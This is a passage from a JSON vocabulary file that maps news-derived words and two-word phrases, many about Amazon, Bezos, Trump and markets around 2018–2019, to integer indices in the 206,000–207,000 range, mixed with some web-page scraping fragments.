chemotherapy": 206330, "helps parents": 206331, "docked": 206332, "haven brought": 206333, "sincero amazon": 206334, "kept using": 206335, "redman managing": 206336, "horse race": 206337, "trump extramarital": 206338, "sized metros": 206339, "hundreds": 206340, "air fryer": 206341, "fisher senior": 206342, "economic research": 206343, "molly ball": 206344, "syria told": 206345, "howorth": 206346, "shares increasing": 206347, "york hq2": 206348, "metcalf bloomberg": 206349, "felt betrayed": 206350, "replace soy": 206351, "telling engaging": 206352, "huawei 2019": 206353, "mobile payments": 206354, "eqr": 206355, "holding invitation": 206356, "settlement read": 206357, "social visionaries": 206358, "school students": 206359, "word steve": 206360, "hall includes": 206361, "annual economic": 206362, "company warns": 206363, "violates facebook": 206364, "wry dry": 206365, "notably gov": 206366, "divided town": 206367, "economy long": 206368, "allan": 206369, "complaints concluding": 206370, "group excluded": 206371, "sasahara second": 206372, "paradise think": 206373, "titan links": 206374, "business strategy": 206375, "quite uncharacteristic": 206376, "earns overseas": 206377, "button": 206378, "discussing beards": 206379, "deliveroo largest": 206380, "transactional engine": 206381, "amazon thesis": 206382, "238876": 206383, "leaves children": 206384, "reams": 206385, "european summit": 206386, "matt dunham": 206387, "taking shots": 206388, "comedy stand": 206389, "award storied": 206390, "christoff heather": 206391, "united states": 206392, "convention center": 206393, "potential regimes": 206394, "kutlu new": 206395, "voters bought": 206396, "did admit": 206397, "kodali vice": 206398, "animal care": 206399, "lowe": 206400, "officially launched": 206401, "plunging": 206402, "better reviews": 206403, "changing prices": 206404, "people say": 206405, "tommaso": 206406, "longs": 206407, "used clos": 206408, "sweeping swooping": 206409, "christmas rush": 206410, "winter": 206411, "quoting ocasio": 206412, "caused concern": 206413, "major brick": 206414, "ticked trump": 206415, "processed gelatin": 206416, "massive blowback": 206417, "amnesty iran": 206418, "ccpa": 206419, "day ahead": 206420, "mosley atlantic": 206421, "treated pretty": 206422, "away councilman": 206423, "amazon best": 206424, "irish": 206425, "giant carries": 206426, "nickelsburg amazon": 206427, "annual forbes": 206428, "brk": 206429, "using aws": 206430, "women centric": 206431, "public network": 206432, "idealistic": 206433, "giant corporations": 206434, "rocket flew": 206435, "hb40 marching": 206436, "retirement savings": 206437, "risk alienating": 206438, "carell smirked": 206439, "unfair schedules": 206440, "letter shocking": 206441, "largest political": 206442, "showtime jim": 206443, "2018 brave": 206444, "recent chapter": 206445, "adding health": 206446, "orange prize": 206447, "niece": 206448, "change reportage": 206449, "price hikes": 206450, "secretary rob": 206451, "farrow claimed": 206452, "road infrastructure": 206453, "citrix systems": 206454, "author pat": 206455, "employ": 206456, "filmmagic washington": 206457, "product director": 206458, "bone legacy": 206459, "farrell": 206460, "mike whatshisname": 206461, "leases half": 206462, "teaches french": 206463, "misled vermont": 206464, "house established": 206465, "today snap": 206466, "kaster": 206467, "2014 aws": 206468, "trade hopes": 206469, "steve carell": 206470, "khashoggi american": 206471, "documents survivors": 206472, "highly regarded": 206473, "investors reuters": 206474, "example democrats": 206475, "charles rivkin": 206476, "jxhnbinder": 206477, "picks data": 206478, "industry grow": 206479, "potential removal": 206480, "apple iphones": 206481, "gardner told": 206482, "rivals california": 206483, "administrative work": 206484, "brennan interview": 206485, "60bn": 206486, "castigates": 206487, "incyte": 206488, "construction jobs": 206489, "skater accused": 206490, "tech entertainment": 206491, "social democratic": 206492, "president trusts": 206493, "senator mazie": 206494, "company speaks": 206495, "unicorn silicon": 206496, "kelly played": 206497, "mobile power": 206498, "months view": 206499, "coalition addressed": 206500, "trumpshocking": 206501, "depression record": 206502, "google refuted": 206503, "biggest recent": 206504, "grazed": 206505, "tabloid stories": 206506, "brief big": 206507, "wasn really": 206508, "new security": 206509, "93f hours": 206510, "helps workers": 206511, "eu especially": 206512, "trump read": 206513, "fee walmart": 206514, "355": 206515, "deal charlie": 206516, "video game": 206517, "unrest": 206518, "printing": 206519, "bring foundational": 206520, "partners limited": 206521, "relevant documentary": 206522, "policy meeting": 206523, "rubenstein decided": 206524, "subsidize jobs": 206525, "recognizes ms": 206526, "isn able": 206527, "trump replied": 206528, "busting nonprofit": 206529, "funded palantir": 206530, "combination chart": 206531, "wisconsin campus": 206532, "statement scott": 206533, "future poses": 206534, "federal purchasing": 206535, "agenda according": 206536, "saw big": 206537, "atwood": 206538, "credit screen": 206539, "netflix certainly": 206540, "eventually raising": 206541, "conversation energy": 206542, "modicum": 206543, "propaganda tech": 206544, "disassociate": 206545, "jonathan loyalist": 206546, "antonio burn": 206547, "situation president": 206548, "undateable": 206549, "pay bunch": 206550, "markets washington": 206551, "obviously confirming": 206552, "catch missing": 206553, "housing just": 206554, "toinvoke": 206555, "capone rat": 206556, "divorce college": 206557, "markets dropped": 206558, "observer editorial": 206559, "seventh annual": 206560, "party markets": 206561, "painted": 206562, "especially low": 206563, "weisz": 206564, "branch employees": 206565, "roughly billion": 206566, "positions troubling": 206567, "roosevelt book": 206568, "stewart denver": 206569, "retail cnn": 206570, "near intraday": 206571, "times share": 206572, "day strike": 206573, "china hits": 206574, "big plane": 206575, "2018 biggest": 206576, "meyersohn cnn": 206577, "uri cdn": 206578, "lf3 type": 206579, "hq el": 206580, "correspondent scott": 206581, "taobao chinese": 206582, "addresses news": 206583, "doesn": 206584, "president ordered": 206585, "guardian tech": 206586, "waterways directly": 206587, "plazas": 206588, "estimate kroger": 206589, "muir 47m": 206590, "ineffectual": 206591, "substantially smaller": 206592, "analytics company": 206593, "road ahead": 206594, "taxes russia": 206595, "popularity worldwide": 206596, "weight 2017": 206597, "necessary": 206598, "videotape diana": 206599, "just erased": 206600, "company holistic": 206601, "tech chief": 206602, "gov larry": 206603, "follow caleb": 206604, "permanently": 206605, "siegler": 206606, "trump criticizes": 206607, "statement abramson": 206608, "aws platform": 206609, "high turnout": 206610, "jennifer granholm": 206611, "everybody immediately": 206612, "actually takes": 206613, "allen": 206614, "postal worker": 206615, "sitting near": 206616, "home arena": 206617, "var": 206618, "tabloid paper": 206619, "freeman sexually": 206620, "sector brazil": 206621, "curbing future": 206622, "journalism": 206623, "unfamiliar society": 206624, "story tinder": 206625, "smal businesses": 206626, "advanced love": 206627, "publication buys": 206628, "chau": 206629, "anonymous buyer": 206630, "tolerance carson": 206631, "issue helps": 206632, "relatively strong": 206633, "provide customers": 206634, "service backup": 206635, "dangerous place": 206636, "generation military": 206637, "lands commend": 206638, "twist trump": 206639, "postal monopoly": 206640, "gasol": 206641, "fighter planes": 206642, "main motivations": 206643, "local groups": 206644, "uber generous": 206645, "signalling": 206646, "nasdaq fell": 206647, "overrides thumb": 206648, "open": 206649, "smoke getty": 206650, "house formed": 206651, "notable follow": 206652, "clyburn": 206653, "flash photograph": 206654, "infringing product": 206655, "nirvana": 206656, "industrial common": 206657, "cheapskates": 206658, "divorce bloomberg": 206659, "whistleblower program": 206660, "feel fortunate": 206661, "did reference": 206662, "evening tweet": 206663, "grace kelly": 206664, "trump fury": 206665, "erik": 206666, "republican dealmaker": 206667, "commercial instead": 206668, "include ownership": 206669, "consistently funny": 206670, "pods permanent": 206671, "open economy": 206672, "host jeanine": 206673, "adds significant": 206674, "follow josh": 206675, "year thank": 206676, "loading": 206677, "montana": 206678, "ship billions": 206679, "dakota wayfair": 206680, "office 2019": 206681, "375 page": 206682, "hatch musicmodernizationact": 206683, "arkin deals": 206684, "christian broadcasting": 206685, "team signals": 206686, "satisfaction": 206687, "mouthed": 206688, "uber controls": 206689, "experts worry": 206690, "raleigh": 206691, "faces stiff": 206692, "error ehrat": 206693, "docs google": 206694, "amazon historic": 206695, "cn__column carousel__content__item": 206696, "councilmember teresa": 206697, "rooted online": 206698, "sensationalist fare": 206699, "volume followed": 206700, "prosecuters": 206701, "latest inflatable": 206702, "terrorism": 206703, "digital consulting": 206704, "friendly environment": 206705, "hugh grant": 206706, "articles constellation": 206707, "neutrality controversy": 206708, "plan alphabet": 206709, "similar phrases": 206710, "drinkers": 206711, "oaktrees": 206712, "lauren joining": 206713, "contentious": 206714, "amazing clarity": 206715, "pinged": 206716, "factor daimler": 206717, "uncontested": 206718, "public exchanges": 206719, "identified amazon": 206720, "contagious": 206721, "markets inside": 206722, "walmart experience": 206723, "mettler": 206724, "crisis russia": 206725, "example research": 206726, "looking wobbly": 206727, "lemon tart": 206728, "weighs just": 206729, "police detective": 206730, "secret ballistic": 206731, "metoo movement": 206732, "isn necessarily": 206733, "reported previous": 206734, "wiped": 206735, "house reuters": 206736, "daily slippery": 206737, "296": 206738, "taidafeng brush": 206739, "couple wealth": 206740, "largest asset": 206741, "hasty new": 206742, "mulkern": 206743, "just stayed": 206744, "portraying cuomo": 206745, "individual tax": 206746, "scola john": 206747, "sessions introduced": 206748, "currency nontariff": 206749, "snooping executives": 206750, "amazon oil": 206751, "ohio amazon": 206752, "agreeing hosts": 206753, "great hurry": 206754, "1926": 206755, "created 100": 206756, "amazon relied": 206757, "amazing diversity": 206758, "shooting minutes": 206759, "approaching worst": 206760, "capitol bureau": 206761, "springer publishing": 206762, "twitter kellytyko": 206763, "little guy": 206764, "working standards": 206765, "mission creep": 206766, "large quantities": 206767, "medium sized": 206768, "rhapsody glenn": 206769, "containerid thumbnail": 206770, "nutritional assistance": 206771, "yi gang": 206772, "romm drew": 206773, "china digging": 206774, "sap pinnacle": 206775, "venezuela test": 206776, "news careers": 206777, "crime rice": 206778, "pose hotstar": 206779, "level wages": 206780, "day winning": 206781, "rebound wall": 206782, "evolutionary scale": 206783, "underlying ruling": 206784, "amazon record": 206785, "cleared forestland": 206786, "lly": 206787, "wait 2018": 206788, "australia": 206789, "internally": 206790, "banff world": 206791, "concerns according": 206792, "dailytrust dailyquote": 206793, "away trump": 206794, "tiktok": 206795, "boca raton": 206796, "included cnn": 206797, "australia biggest": 206798, "hulu wrote": 206799, "hegemony": 206800, "joined new": 206801, "shira note": 206802, "noises": 206803, "marital troubles": 206804, "maximum warewashing": 206805, "lowest rate": 206806, "dollars michael": 206807, "klippenstein noted": 206808, "businesses pray": 206809, "low pay": 206810, "brennan hasn": 206811, "skills": 206812, "room danhof": 206813, "landmark property": 206814, "email address": 206815, "despite research": 206816, "2003": 206817, "president reportedly": 206818, "senator related": 206819, "gigyashareelement jquery": 206820, "remain upbeat": 206821, "impartial journalists": 206822, "continuously update": 206823, "defeat dr": 206824, "baird gewirtz": 206825, "human intelligence": 206826, "loved": 206827, "news radio": 206828, "foe google": 206829, "fl include": 206830, "tag products": 206831, "buy bigger": 206832, "obama crown": 206833, "airport completed": 206834, "1930s broke": 206835, "later years": 206836, "military funding": 206837, "incoming ceo": 206838, "tv sales": 206839, "leaking confidential": 206840, "advisors lc": 206841, "declared enemies": 206842, "pesky pessimists": 206843, "o1a m4": 206844, "courtship": 206845, "mail concludes": 206846, "stupid questioning": 206847, "including metrics": 206848, "possible multi": 206849, "donahoe": 206850, "huge difference": 206851, "frequently speak": 206852, "money grabs": 206853, "amazons taxes": 206854, "study indicating": 206855, "people blue": 206856, "moments later": 206857, "kurth": 206858, "angela charlton": 206859, "astonishingly excellent": 206860, "reversing": 206861, "nyvm5vth9k": 206862, "wow wrote": 206863, "named cleo": 206864, "regular review": 206865, "peaked": 206866, "trading days": 206867, "emmerich": 206868, "craves loyalty": 206869, "project seagull": 206870, "food maker": 206871, "day deferred": 206872, "stars including": 206873, "philanthropist david": 206874, "solicit proposals": 206875, "working says": 206876, "troll farm": 206877, "benavides cbenavidestv": 206878, "people join": 206879, "drop driven": 206880, "asia reflecting": 206881, "dave weigel": 206882, "weapons shawn": 206883, "did miraculously": 206884, "unplanned faces": 206885, "power decisions": 206886, "brands amazon": 206887, "including pill": 206888, "handled roughly": 206889, "154": 206890, "force findings": 206891, "legend memoir": 206892, "seeing bezos": 206893, "optimised": 206894, "illegal": 206895, "contributed greatly": 206896, "tolling devices": 206897, "energy joins": 206898, "easily uploaded": 206899, "served schools": 206900, "inclined": 206901, "789 million": 206902, "matt leblanc": 206903, "initiated delivery": 206904, "joseph dunford": 206905, "local mom": 206906, "wife acute": 206907, "market fluctuations": 206908, "global advantage": 206909, "people confess": 206910, "munich trip": 206911, "reunited thanks": 206912, "ago apple": 206913, "basin level": 206914, "iphone": 206915, "connelly": 206916, "vermont independent": 206917, "flames new": 206918, "acquirer": 206919, "recently led": 206920, "simply hypnotized": 206921, "employee accidents": 206922, "vietnam include": 206923, "china dunford": 206924, "fox friends": 206925, "weekly advance": 206926, "service usps": 206927, "ntia reauth": 206928, "wonderful company": 206929, "patent wars": 206930, "potentially worth": 206931, "ordered 9th": 206932, "establish price": 206933, "question federal": 206934, "reveal wild": 206935, "reimpose aspects": 206936, "manufacturer saying": 206937, "crash venezuela": 206938, "partner organization": 206939, "michael carrier": 206940, "quickly amazon": 206941, "value 2017": 206942, "great break": 206943, "fascism federal": 206944, "larger attack": 206945, "squall dusts": 206946, "mark arax": 206947, "host dinner": 206948, "jeff gluck": 206949, "soy cattle": 206950, "2016 meddling": 206951, "ofari hutchinson": 206952, "define big": 206953, "draws criticism": 206954, "wouldn understand": 206955, "outpolled republicans": 206956, "analysts chief": 206957, "congress trump": 206958, "million smashing": 206959, "week wind": 206960, "profit close": 206961, "wall organized": 206962, "nations warring": 206963, "personalised investment": 206964, "harris echo": 206965, "sudan": 206966, "board 4chan": 206967, "maclennan david": 206968, "week raise": 206969, "pwi4ncvazx": 206970, "maple leaf": 206971, "stronger amid": 206972, "features story": 206973, "development alleging": 206974, "company relationship": 206975, "intense scrutiny": 206976, "running platform": 206977, "international outfit": 206978, "average household": 206979, "able todefer": 206980, "monopoly contracts": 206981, "chris diorio": 206982, "type": 206983, "suborbital": 206984, "tias": 206985, "hewlett": 206986, "message helped": 206987, "brat": 206988, "prices falling": 206989, "giant remains": 206990, "struck investigators": 206991, "interact people": 206992, "quite hard": 206993, "ipt exposed": 206994, "ipsos market": 206995, "wage staff": 206996, "federal license": 206997, "consider jab": 206998, "mogul announced": 206999, "technology": 207000, "accessibility ease": 207001, "really sure": 207002, "cable association": 207003, "shareholders approve": 207004, "guest agreed": 207005, "rubber wood": 207006, "worth sticking": 207007, "apr 2018": 207008, "lighter touch": 207009, "917134c164ee4890b8cdc865b3484943": 207010, "robert louis": 207011, "dispute earlier": 207012, "president crackdown": 207013, "senate colleagues": 207014, "deliveroo": 207015, "firms monolithic": 207016, "larger formations": 207017, "pacific partnership": 207018, "maintaining low": 207019, "hmd global": 207020, "unjustified reasons": 207021, "plans don": 207022, "make different": 207023, "record huseman": 207024, "entry systems": 207025, "investigation division": 207026, "leader chuck": 207027, "ext 1600": 207028, "cases purchased": 207029, "political report": 207030, "makes case": 207031, "edgy": 207032, "recently disappointed": 207033, "media accusing": 207034, "monthly ad": 207035, "initially celebrated": 207036, "spending does": 207037, "acquisitions including": 207038, "abc north": 207039, "slane": 207040, "purchasing easier": 207041, "california emma": 207042, "richard clarida": 207043, "release statement": 207044, "blending": 207045, "item description": 207046, "amazonas state": 207047, "klieger hinted": 207048, "export sales": 207049, "goods coming": 207050, "congress wrote": 207051, "relations school": 207052, "thiessen": 207053, "stifel devitt": 207054, "cnn today": 207055, "volunteers performing": 207056, "doubled analysts": 207057, "receiving rebate": 207058, "previously bought": 207059, "trump farrow": 207060, "virgil thinking": 207061, "188 shares": 207062, "treatment raid": 207063, "mounted clusters": 207064, "big sister": 207065, "hoopla": 207066, "homeless shelter": 207067, "free enterprise": 207068, "lifestyles": 207069, "sen mike": 207070, "investigation london": 207071, "taiwanese firm": 207072, "post schiff": 207073, "bloviations": 207074, "charges amazon": 207075, "acquired": 207076, "statements": 207077, "mingle": 207078, "brotherhood mexican": 207079, "zcie3kuo5l": 207080, "memorable skit": 207081, "arson charge": 207082, "people millennials": 207083, "undoubtedly cast": 207084, "media companies": 207085, "ranveer chandra": 207086, "apathy": 207087, "high returns": 207088, "voice assistants": 207089, "hulbert looks": 207090, "traveling": 207091, "victims colbert": 207092, "app scribd": 207093, "property office": 207094, "similar arrangements": 207095, "model slavica": 207096, "shows drop": 207097, "travel games": 207098, "shape agenda": 207099, "phrase deep": 207100, "eventually founded": 207101, "barclays trading": 207102, "rung wrote": 207103, "erected": 207104, "kavanaugh 2018": 207105, "brazil transnational": 207106, "parody amazon": 207107, "boosts minimum": 207108, "level best": 207109, "emerged amazon": 207110, "service amid": 207111, "local firms": 207112, "inform decision": 207113, "oil boom": 207114, "pancakes just": 207115, "lion south": 207116, "hideous d\u00e9cor": 207117, "domestically": 207118, "hughes frequent": 207119, "brazil environment": 207120, "including fake": 207121, "west virginian": 207122, "jonathan ladd": 207123, "contributing": 207124, "convenient shopping": 207125, "excellence equity": 207126, "1970 wildlife": 207127, "true inc_filelocation": 207128, "jetblue": 207129, "biography captures": 207130, "elected congresswoman": 207131, "company executives": 207132, "emma gonzalez": 207133, "chinese officials": 207134, "syracuse": 207135, "5151 prohibiting": 207136, "businesses run": 207137, "tremendous opportunity": 207138, "nasdaq adbe": 207139, "repeatedly dodged": 207140, "media dining": 207141, "culprits making": 207142, "enormous decline": 207143, "fired chief": 207144, "tributes nbc": 207145, "stronger job": 207146, "hike especially": 207147, "bezos appears": 207148, "video garnered": 207149, "launches": 207150, "kaitlyn flannagan": 207151, "device robotic": 207152, "louise": 207153, "tariffs makes": 207154, "interdiction programs": 207155, "mining companies": 207156, "private weblog": 207157, "national elections": 207158, "webb": 207159, "esophagus runs": 207160, "hemsey": 207161, "entrances": 207162, "book trip": 207163, "null 6_5": 207164, "watergate reports": 207165, "taxday": 207166, "media arm": 207167, "called reliance": 207168, "reviewer wrote": 207169, "kirk global": 207170, "packages away": 207171, "business image": 207172, "insurance federation": 207173, "sourcelink videocardcontents": 207174, "self censorship": 207175, "categories primarychannelarray": 207176, "financial burden": 207177, "choppy": 207178, "attack survivor": 207179, "hans pennink": 207180, "twitter deleted": 207181, "owns 475": 207182, "germany antitrust": 207183, "law stopped": 207184, "lately moser": 207185, "sensibly": 207186, "right wegmann": 207187, "control category": 207188, "artifice": 207189, "border standoff": 207190, "hurricane": 207191, "claimed brazil": 207192, "marx communist": 207193, "holds job": 207194, "regarding nuclear": 207195, "higher installed": 207196, "person noted": 207197, "parties hailed": 207198, "twitter followers": 207199, "suicide attack": 207200, "digits 2015": 207201, "changes recommended": 207202, "data clouds": 207203, "life including": 207204, "sheikh": 207205, "facing amazon": 207206, "m3 biotechnology": 207207, "news slogan": 207208, "hypocritical": 207209, "marital": 207210, "taxes 2018": 207211, "happy added": 207212, "hurt small": 207213, "salesforces stock": 207214, "provide logistics": 207215, "recent sessions": 207216, "double hopping": 207217, "cheat": 207218, "did trump": 207219, "marcelo": 207220, "code shirts": 207221, "love showing": 207222, "2017 amazon": 207223, "npr virginia": 207224, "cloud modern": 207225, "17th century": 207226, "roughly million": 207227, "clinton huma": 207228, "realtors": 207229, "saved america": 207230, "kristen hawn": 207231, "mirzapur": 207232, "large spending": 207233, "new level": 207234, "orwellian": 207235, "rights violations": 207236, "pressure ceo": 207237, "picketed": 207238, "brantley ernest": 207239, "political players": 207240, "supporter wearing": 207241, "cleansed": 207242, "danielle": 207243, "unlike yesterday": 207244, "tm allies": 207245, "truly cheap": 207246, "caught flack": 207247, "gadget_pron": 207248, "trade achievement": 207249, "fantasia": 207250, "reportedly": 207251, "fake advertisement": 207252, "blue wapo": 207253, "decentralized government": 207254, "game verizon": 207255, "ceo mistress": 207256, "nyse ecl": 207257, "classmates outside": 207258, "royally ripping": 207259, "justices reach": 207260, "niro apologizes": 207261, "daily activity": 207262, "visited billerica": 207263, "founder fortune": 207264, "portfolio strategies": 207265, "issues contact": 207266, "leprechauns": 207267, "suppliers intermediaries": 207268, "trends going": 207269, "speculationwhether amazon": 207270, "latest ruminations": 207271, "statistic": 207272, "jpg label": 207273, "1996 amazon": 207274, "saving lives": 207275, "nycha": 207276, "service holds": 207277, "doesn trigger": 207278, "nightime": 207279, "trump roger": 207280, "jess_aloe": 207281, "commerce sponsored": 207282, "accusing big": 207283, "fox companies": 207284, "privacy disinformation": 207285, "specific numbers": 207286, "evrnu": 207287, "election meddling": 207288, "total mailing": 207289, "2017 ambulances": 207290, "mis matched": 207291, "nejjykwedt": 207292, "laudable decision": 207293, "wwi": 207294, "counted": 207295, "department guidelines": 207296, "lay glove": 207297, "hq2 finalists": 207298, "illinoisan isaac": 207299, "costing bezos": 207300, "relevant": 207301, "reported attempted": 207302, "mcdonald restaurants": 207303, "mueller wouldn": 207304, "damning stories": 207305, "federal lawmaker": 207306, "digital music": 207307, "spokeswoman told": 207308, "fleet dubbed": 207309, "know man": 207310, "regulators despite": 207311, "boyd": 207312, "inevitable package": 207313, "ripples": 207314, "trademark attorneys": 207315, "trade update": 207316, "consultant recommended": 207317, "administration unsuccessfully": 207318, "trump larry": 207319, "playing video": 207320, "european regulators": 207321, "airborne": 207322, "badhealth": 207323, "modi warns": 207324, "hughes denied": 207325, "3gb ram": 207326, "murder children": 207327, "enemy president": 207328, "glut": 207329, "beijing attempts": 207330, "leader spent": 207331, "desired location": 207332, "story backlash": 207333, "capital mgmt": 207334, "close contact": 207335, "scoops": 207336, "scam phone": 207337, "federalreserve gov": 207338, "game iq": 207339, "government snooping": 207340, "vans offsets": 207341, "investigations based": 207342, "asked census": 207343, "parcel customers": 207344, "seek following": 207345, "costing far": 207346, "china just": 207347, "wraps couldn": 207348, "paperback recommendations": 207349, "american federation": 207350, "drugs read": 207351, "scheduling": 207352, "winter conference": 207353, "higher yesterday": 207354, "finance starts": 207355, "wasn retaliating": 207356, "preserve house": 207357, "suggest bezos": 207358, "trade envoys": 207359, "paying newspaper": 207360, "mother ivy": 207361, "executive overreach": 207362, "capone": 207363, "street reform": 207364, "internet router": 207365, "realist literature": 207366, "sheraton seattle": 207367, "pretty sure": 207368, "ways silicon": 207369, "global locations": 207370, "investigation involving": 207371, "dealmaker": 207372, "rescuing professional": 207373, "influence newsletter": 207374, "julian assange": 207375, "trillion offsetting": 207376, "gary coby": 207377, "jericka": 207378, "harmony leading": 207379, "gmb_union early": 207380, "drama follows": 207381, "year lease": 207382, "trump blasts": 207383, "kmb": 207384, "meeting notes": 207385, "book chronicles": 207386, "thing jeffrey": 207387, "graffiti resistant": 207388, "butts": 207389, "zana omar": 207390, "government revenue": 207391, "toxic gas": 207392, "funk speaking": 207393, "hit earnings": 207394, "hacks fixes": 207395, "brazilian meat": 207396, "file photo": 207397, "considerably higher": 207398, "obviously motivated": 207399, "beware amazon": 207400, "reinforce appropriate": 207401, "project brought": 207402, "negative consequence": 207403, "dynamics abuse": 207404, "women tennis": 207405, "far protected": 207406, "million units": 207407, "affected": 207408, "allows disney": 207409, "larger customers": 207410, "dccc executive": 207411, "\u00e9ric vuillard": 207412, "selects long": 207413, "2016 timothy": 207414, "background washington": 207415, "assets 181003143415": 207416, "workers stated": 207417, "paper forced": 207418, "store purchases": 207419, "hide subsections": 207420, "pete fox": 207421, "curve": 207422, "russia clinton": 207423, "earnings 2019": 207424, "report detailing": 207425, "data srclarge": 207426, "notoriously sensational": 207427, "lost billion": 207428, "purveyors": 207429, "2018 facebook": 207430, "race class": 207431, "ends microsoft": 207432, "oversees amazon": 207433, "year surpassing": 207434, "siding": 207435, "puddlestreason": 207436, "chain banned": 207437, "country need": 207438, "business onwer": 207439, "examining facebook": 207440, "government government": 207441, "modest proposals": 207442, "process allowed": 207443, "nyse srg": 207444, "deriding": 207445, "ami did": 207446, "000 bezos": 207447, "remain indoors": 207448, "trump centered": 207449, "receive passing": 207450, "refund trump": 207451, "thomas amy": 207452, "nandita": 207453, "jane": 207454, "completely confidential": 207455, "despite strong": 207456, "chubby": 207457, "crouch": 207458, "urban landscapes": 207459, "trademark digital": 207460, "republicans furloughed": 207461, "driving car": 207462, "muslims african": 207463, "error email": 207464, "holds grudge": 207465, "bowl honored": 207466, "barrel chick": 207467, "shot fight": 207468, "2020": 207469, "beast beautiful": 207470, "cnn springsteen": 207471, "month aws": 207472, "union actions": 207473, "caution writing": 207474, "immigration related": 207475, "trump ammunition": 207476, "management eighty": 207477, "earnings blow": 207478, "insider maclennan": 207479, "opponents say": 207480, "people surmised": 207481, "gory details": 207482, "181003173251": 207483, "pinterest released": 207484, "pot read": 207485, "past decade": 207486, "genuflect": 207487, "arlington heights": 207488, "death according": 207489, "skinflint counter": 207490, "bloody": 207491, "high crossing": 207492, "141": 207493, "tv journalist": 207494, "price support": 207495, "snoqualmie": 207496, "york 500": 207497, "repeated behavior": 207498, "million 2018": 207499, "told wusa9": 207500, "possibly abusing": 207501, "parcel carriers": 207502, "hound": 207503, "discourage trafficking": 207504, "wisdom": 207505, "industrialize": 207506, "day losses": 207507, "fba capacity": 207508, "2025 visit": 207509, "2019 grateful": 207510, "computing streaming": 207511, "pushed united": 207512, "angie tribeca": 207513, "groceries cloud": 207514, "855 words": 207515, "bailey netflix": 207516, "president public": 207517, "hitting coverage": 207518, "post recession": 207519, "effectively block": 207520, "nonpartisan political": 207521, "fed tightening": 207522, "coverage customer": 207523, "rosy": 207524, "mangled": 207525, "renewed push": 207526, "reactid 147": 207527, "interpersonal": 207528, "users currently": 207529, "schweizer": 207530, "market income": 207531, "gate global": 207532, "amazon introduced": 207533, "georgia rep": 207534, "cdc reported": 207535, "lee gifford": 207536, "largest conglomerate": 207537, "criticism claiming": 207538, "hearing council": 207539, "years time": 207540, "1547043466000 later": 207541, "sweeney": 207542, "535 members": 207543, "service consumers": 207544, "generate profits": 207545, "divorce san": 207546, "bloomberg david": 207547, "activism remember": 207548, "alcindor": 207549, "diplomatic post": 207550, "trump joined": 207551, "project newsday": 207552, "administrative adjustments": 207553, "rates climbed": 207554, "game directions": 207555, "sabrina photo": 207556, "lewis georgia": 207557, "low tiffany": 207558, "darn bb": 207559, "zinke zinke": 207560, "educating": 207561, "astringent": 207562, "soda maker": 207563, "stressful": 207564, "glove box": 207565, "627666862 jpg": 207566, "netflix hbo": 207567, "annual prime": 207568, "ig horowitz": 207569, "story european": 207570, "lisa bielamowicz": 207571, "maga hats": 207572, "spending slowdown": 207573, "conference tomorrow": 207574, "second new": 207575, "whatsapp read": 207576, "expediating": 207577, "ecedzui0be judd": 207578, "clearance anti": 207579, "harassment barnes": 207580, "check writing": 207581, "ct 1148": 207582, "republicans fear": 207583, "weapons including": 207584, "aws won": 207585, "clash": 207586, "modernizing new": 207587, "sexts hacked": 207588, "growth potential": 207589, "trump delays": 207590, "kuwait oil": 207591, "alt describes": 207592, "bezos handing": 207593, "speech group": 207594, "fragmentary unfinished": 207595, "recent brown": 207596, "mortar stores": 207597, "really encouraging": 207598, "bassinets": 207599, "growing assertiveness": 207600, "hatch utah": 207601, "send": 207602, "250": 207603, "goure security": 207604, "orville": 207605, "mark hulbert": 207606, "hunt don": 207607, "ballard number": 207608, "proving": 207609, "tired microneedles": 207610, "aliexpress": 207611, "appears ready": 207612, "virginia hq2": 207613, "pentagon arsenal": 207614, "true inc_full_width_read_moreflag": 207615, "considered pecker": 207616, "clinton foundation": 207617, "current deforestation": 207618, "recently settled": 207619, "avoid loneliness": 207620, "function setinitialvideoembed": 207621, "try native": 207622, "delivery times": 207623, "packages group": 207624, "underlings": 207625, "rally flags": 207626, "separate ceremony": 207627, "pre sale": 207628, "annenberg performing": 207629, "logistics merchandising": 207630, "new factory": 207631, "outlet concludes": 207632, "firm govpredict": 207633, "finish rich": 207634, "sock brands": 207635, "biography focuses": 207636, "massive pumpkin": 207637, "breaking president": 207638, "new term": 207639, "nogales ariz": 207640, "joy bauer": 207641, "hey wonder": 207642, "drones humanized": 207643, "strived": 207644, "free exchange": 207645, "clarida helped": 207646, "options market": 207647, "payback representative": 207648, "flip multiplication": 207649, "joseph pisani": 207650, "wet season": 207651, "nearly tripled": 207652, "metahelm": 207653, "2016 michael": 207654, "video mccarthy": 207655, "terre": 207656, "impose general": 207657, "upcoming election": 207658, "apprentice producer": 207659, "doesn add": 207660, "deal stays": 207661, "indicatorstoggle": 207662, "berkshire hathaway": 207663, "foot onsite": 207664, "source bbc": 207665, "o2x v8": 207666, "amazon pic": 207667, "alternate suppliers": 207668, "ice sarah": 207669, "world sleaziest": 207670, "rainforest recently": 207671, "adequate training": 207672, "marginalised": 207673, "facility forced": 207674, "tweet posted": 207675, "amazon kindle": 207676, "wiretapped": 207677, "reed": 207678, "make extra": 207679, "publicly complained": 207680, "2019 duped": 207681, "unsparing close": 207682, "asa deal": 207683, "gripping": 207684, "growth jennifer": 207685, "switch nintendo": 207686, "emails blackmail": 207687, "fake yeezy": 207688, "president hatred": 207689, "lambast": 207690, "represent": 207691, "trashy people": 207692, "conservative outlets": 207693, "troubling sign": 207694, "jeffries deemed": 207695, "nbc cohen": 207696, "democrats gained": 207697, "particular workloads": 207698, "paulson trump": 207699, "proposed story": 207700, "city speaking": 207701, "homage": 207702, "sale jabong": 207703, "manipulated media": 207704, "dolce": 207705, "shook": 207706, "newsroom hotstar": 207707, "opinion steve": 207708, "lago estate": 207709, "games global": 207710, "previous incarnation": 207711, "doggedly trying": 207712, "early 2019": 207713, "property division": 207714, "crews worked": 207715, "nooyi quit": 207716, "tacit": 207717, "gop pac": 207718, "law regulatory": 207719, "closed earlier": 207720, "marketplace essentially": 207721, "largest shareholder": 207722, "annual sales": 207723, "trump leaving": 207724, "senate jan": 207725, "way governor": 207726, "underlying economy": 207727, "high accuracy": 207728, "trump slams": 207729, "email spokespeople": 207730, "shamrock asset": 207731, "trump address": 207732, "almonds": 207733, "findings relate": 207734, "000 internet": 207735, "says bloomberg": 207736, "owns instagram": 207737, "k1a": 207738, "results including": 207739, "elizabeth walked": 207740, "billionaire entrepreneur": 207741, "drawing annual": 207742, "morse": 207743, "initiative judgment": 207744, "collins": 207745, "absorbed dollars": 207746, "story secret": 207747, "journalists covering": 207748, "diverging plans": 207749, "soros funded": 207750, "income tax": 207751, "marriage fails": 207752, 